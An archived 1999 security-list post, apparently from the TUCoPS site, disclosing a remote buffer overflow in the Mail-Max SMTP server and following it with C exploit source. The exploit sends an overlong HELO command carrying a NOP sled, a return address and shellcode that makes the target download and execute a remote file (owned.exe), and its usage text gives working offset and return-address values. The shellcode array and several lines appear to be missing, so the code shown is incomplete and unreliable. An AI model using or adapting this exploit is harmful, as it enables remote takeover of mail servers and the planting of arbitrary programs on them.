Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Windows Net Apps :: mailmax.txt

Mail-Max SMTP server for Windows 95/98/NT Remote Buffer Overflow Exploit

[ ]

Date: Sun, 14 Feb 1999 01:00:30 -0500
From: pw <pw@NACS.NET>
Subject: Mail-Max Remote Buffer Overflow Exploit

        Mail-Max is a SMTP server for windows 95/98/NT.  Unfortunately, it
has a very large security hole.  By entering SMTP commands with a long
length one is able to write past the bounds of a buffer on the stack.  By
overflowing this buffer one can modify the return address stored on the
stack to point to arbitrary code.  This can be used to gain unauthorized
remote access.

        When putting code in the buffer to execute there are no major
restrictions on character set.  The only character I found to interfere
besides null was 17h (ret).  In this particular overflow's case there is
more than enough room to place code after the return address on the stack.
Placeing the exploit code here has major benefits:

          --  It is not as likely to get corrupted as code is that is
              placed before the return address.
          --  We can change the return address to point to a jmp esp or
              equivalent instruction(s) to transfer control to our code.
              This also allows us to write an exploit that will work
              on every vulnerable version (assuming the offset stays
              constant), even versions we don't have access to.
        Mail-Max's basic construction also aids in its exploiting.  When
it is installed it insists that it have v1.5c of its ODBC Drivers
installed.  If these drivers are not already installed it will ask to
install them.  This makes it easy to consistantly exploit, as predicting
where in memory a jmp esp or equivalent piece of code is located is easy
because 98% of the mailmax machines will be running this version of the

        Its sad that Mail-Max has this vulnerability as its obvious
the author(s) know the dangers of buffer overflows.  When you try to
overflow buffers in popmax (a pop3 server that comes with mailmax), you
get an error specifying that you tried to overflow a buffer.  You also see
similar messages when you try to overflow buffers in its sister product

        Following this post is an exploit that will force all versions
of Mail-Max that have the buffer overflow (every version I have tested),
and are running ODBC drivers v1.5c to download a file from a web
site, save it, and execute it.  Please note that the file downloaded can't
be larger than 260,000 bytes.

<--------------------------CUT HERE-------------------------->

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

/* Mail-Max Remote Exploit by _mcp_ <>
This program must be run under x86 Linux

Greets go out to: Morpheus, Killspree, Coolg, Dregvant, Vio,
Wrl, #finite, #win32asm and anyone I may have missed, you know
who you are :).

You can reach me on efnet.

No greets go out to etl.


char code[] =

    /*This is the encrypted /~pw/owned.exe we paste at the end */
char dir[] = "\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";

unsigned int getip(char *hostname)
  struct hostent *hostinfo;
  unsigned int binip;

  hostinfo = gethostbyname(hostname);

      printf("cant find: %s\n",hostname);
  bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);

int usages(char *fname)
      printf("Remote Mail-Max exploit v1.0 by _mcp_ <>.\n");
      printf("Usages: \n");
      printf("%s <target host> <http site> <offset> <return address>\n",
      printf("All known versions offset = 539, Return address = 79887315\n");
      printf("Will make target download, save, and execute http://<http site>/~pw/owned.exe\n");



main (int argc, char *argv[])
  int sock,filedesc,offset,targethost,sinlen,codelength;
  struct sockaddr_in sin;
  unsigned char buffer[8000];
  char ipbuffer[16];
  unsigned char *ptr,*ptr2;
  unsigned long ret_addr;
  int len,x = 1;
  unsigned long address;

  if (argc < 5) usages(argv[0]);

  targethost = getip(argv[1]);

   len = strlen(argv[2]);
    if (len > 60)
       printf("Bad http format!\n");

   ptr = argv[2];
   while (x <= len)
        (*ptr)++;           /*Encrypt the http ip for later parsing */

  offset = atoi(argv[3]);
  ret_addr = atol(argv[4]);

  if (offset > 7000)

       printf("Offset too large.\n");

  sock = socket(AF_INET,SOCK_STREAM,0);

  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = targethost;
  sin.sin_port = htons(25);
  sinlen = sizeof(sin);

  printf("Starting to create the egg\n");
  ptr = (char *)&buffer;
  strcpy(ptr,"HELO ");

  memset((void *)ptr, 0x90, 7000);

  memcpy ((void *) ptr,(void *)&ret_addr, 4);
  memcpy((void *) ptr,(void *)&code,strlen(code));

  (char *) ptr2 = strstr(ptr,"\xb1");
  if (ptr2 == NULL)
       printf("Bad shell code\n");
  (*ptr2)+= len + ( sizeof(dir) - 1 );

   (char *) ptr2 = strstr(ptr,"\x83\xc6");
     if (ptr2 == NULL)
        printf("Bad shell code\n");


  ptr2+= 2;

  (*ptr2)+= len + 8;

  memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
  site's info */
  memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
  printf("Made the egg\n");

    if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)

    write(sock, &buffer, strlen((char *)&buffer) );
    printf("Sent the egg\n");

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH